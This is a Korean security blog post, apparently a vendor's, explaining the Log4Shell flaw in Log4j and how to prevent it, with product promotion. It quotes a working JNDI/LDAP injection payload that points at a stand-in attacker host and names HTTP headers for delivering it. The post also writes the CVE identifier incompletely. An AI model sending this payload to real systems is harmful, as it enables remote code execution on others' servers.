Log4j 취약점 설명 - 공격 벡터 및 예방 방법

12월 9일, Java 라이브러리 Log4j의 제로데이(0-day) 취약점이 공개되었습니다. CVE-44228로 명명된 Log4Shell은 원격 코드 실행(RCE)을 유발할 수 있어 '심각(high severity)' 등급을 받았습니다. 더욱이 log4j-core는 가장 널리 사용되는 Java 로깅 라이브러리 중 하나이기에 수백만 개의 애플리케이션이 위험에 노출되었습니다.
Log4Shell 대응 능력을 빠르게 키우고 싶으신가요?
Log4Shell의 기본 개념부터 '미션(Mission)'이라는 시뮬레이터를 통해 실제 공격을 경험해 볼 수 있는 쇼케이스를 준비했습니다. 이 미션에서는 Log4j 취약점이 인프라와 애플리케이션에 어떤 영향을 미치는지 단계별로 안내합니다. 여기를 클릭하여 쇼케이스를 바로 시작하거나, 계속 읽으며 취약점에 대해 자세히 알아보세요.
이미 알고 계신 내용인가요?
이 공격 방식은 새로운 것이 아닙니다. 이미 2016년 BlackHat 발표에서 보안 연구원인 알바로 무뇨즈(Alvaro Muñoz)와 올렉산드르 미로시(Oleksandr Mirosh)는 “애플리케이션은 신뢰할 수 없는 데이터로 JNDI 조회를 수행해서는 안 된다”고 강조하며, 타겟팅된 JNDI/LDAP 인젝션이 어떻게 원격 코드 실행으로 이어질 수 있는지 설명했습니다. 이것이 바로 Log4Shell의 핵심입니다.
공격 벡터
Log4Shell의 인젝션 페이로드는 다음과 같습니다:
${jndi:ldap://attacker.host/xyz}
이를 이해하려면 Java의 표현식 언어(EL)에 대해 알아야 합니다. ${expr}와 같은 구문으로 작성된 표현식은 런타임에 평가됩니다. 예를 들어, ${java:version}은 사용 중인 Java 버전을 반환합니다.
다음으로 JNDI, 즉 Java Naming and Directory Interface는 LDAP, DNS, RMI 등의 프로토콜을 사용하여 서비스에 연결하고 데이터나 리소스를 검색할 수 있게 해주는 API입니다. 간단히 말해, 위에서 언급한 악성 페이로드 예시에서 JNDI는 공격자가 제어하는 LDAP 서버를 조회합니다. 그 응답으로 악성 코드가 포함된 Java 클래스 파일을 가리키게 할 수 있으며, 결과적으로 취약한 서버에서 해당 코드가 실행됩니다.
이 취약점이 특히 위험한 이유는 Log4j가 모든 로그 항목을 평가하며, "jndi"로 시작하는 EL 구문으로 작성된 모든 로그 입력값을 조회하기 때문입니다. 페이로드는 폼 필드와 같이 사용자가 데이터를 입력할 수 있는 모든 곳에 주입될 수 있습니다. 또한 User-Agent 및 X-Forwarded-For와 같은 HTTP 헤더를 조작하여 페이로드를 전달할 수도 있습니다.
직접 공격을 경험해 보려면, 쇼케이스로 이동하여 2단계 - "영향 경험하기(Experience impact)"를 시작하세요.
예방: 보안 인식
Log4j는 취약한 코드를 지속적으로 패치하고 있으므로 모든 애플리케이션에서 최신 버전으로 업그레이드하는 것이 권장됩니다. 다만 2.15.0 및 2.16.0 버전에서 DDoS 및 기타 취약점이 발견되었으므로, 12월 말 기준으로는 2.17.0 버전으로 업그레이드하는 것이 좋습니다.
개발자로서 우리는 항상 보안을 염두에 두어야 합니다. Log4Shell은 타사 프레임워크나 라이브러리를 사용할 때 위험이 따를 수 있다는 점을 일깨워 주었습니다. 우리는 외부 소스를 무조건 안전하다고 가정하는 대신, 그로 인해 애플리케이션 보안이 위협받을 수 있다는 사실을 항상 인지해야 합니다.
이 취약점은 예방할 수 있었을까요? 정답은 '그렇다'와 '아니다'입니다. 한편으로는 타사 소프트웨어를 통해 취약한 구성 요소가 유입되기 때문에 개발자가 할 수 있는 일에 한계가 있습니다. 다른 한편으로는, 이번 사건을 통해 '사용자 입력을 절대 신뢰하지 말라'는 보안의 기본 원칙을 다시 한번 되새겨야 합니다.
Secure Code Warrior는 보안 의식을 갖춘 개발자가 코드 취약점을 예방하는 가장 확실한 방법이라고 믿습니다. SCW는 프로그래밍 프레임워크별 교육을 대규모로 제공하므로, 기업 고객은 보고 데이터를 활용하여 영향을 받는 Java 개발자를 신속하게 파악할 수 있었습니다. 또한 SCW 교육을 받은 보안 챔피언을 통해 Log4j 업그레이드 속도를 높일 수 있었습니다.
특히 Java 개발자를 위해 Secure Code Warrior는 무료 IntelliJ 플러그인인 Sensei를 제공합니다. 이 규칙 기반 코드 분석 도구를 사용하면 코딩 가이드라인을 준수하고 취약점을 예방 및 수정할 수 있습니다. 직접 규칙을 만들거나 준비된 쿡북을 사용할 수 있습니다. 레시피를 살펴보고, Log4j 쿡북을 다운로드하여 Log4Shell 취약점을 즉시 찾아 해결해 보세요.
Log4Shell 방어 기술을 한 단계 높여보세요
이 블로그 게시물에서 배운 내용을 실습해 보고 싶으신가요? 쇼케이스를 통해 도움을 드릴 수 있습니다. 쇼케이스 시작 부분에서 해당 취약점에 대한 간단한 검토를 진행한 후, 가이드에 따라 익스플로잇을 직접 시도해 볼 수 있는 시뮬레이션 환경으로 안내해 드립니다.
배포 전 AI 기반 개발 거버넌스 확보
AI 기반 위험을 측정하고, 커밋 시점에 보안 코딩 정책을 적용하며, SDLC 전반에 걸쳐 안전한 소프트웨어 제공 속도를 높이세요.
더 많은 블로그 살펴보기
보안 코딩, AI 거버넌스, 소프트웨어 리스크 관리에 관한 전문가 콘텐츠를 확인해 보세요.
%252520%252520(3).avif)
Supercharged Security Awareness: How Tournaments are Inspiring Developers at Erste Group
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse varius enim in eros elementum tristique. Duis cursus, mi quis viverra ornare, eros dolor interdum nulla, ut commodo diam libero vitae erat. Aenean faucibus nibh et justo cursus id rutrum lorem imperdiet. Nunc ut sem vitae risus tristique posuere.

Security as culture: How Blue Prism cultivates world-class secure developers
Learn how Blue Prism, the global leader in intelligent automation for the enterprise, used Secure Code Warrior's agile learning platform to create a security-first culture with their developers, achieve their business goals, and ship secure code at speed
배포 전 AI 기반 개발 보안 확보
소프트웨어 개발 수명 주기 전반에서 개발자 리스크를 파악하고, 정책을 시행하며, 취약점을 예방하세요.



.avif)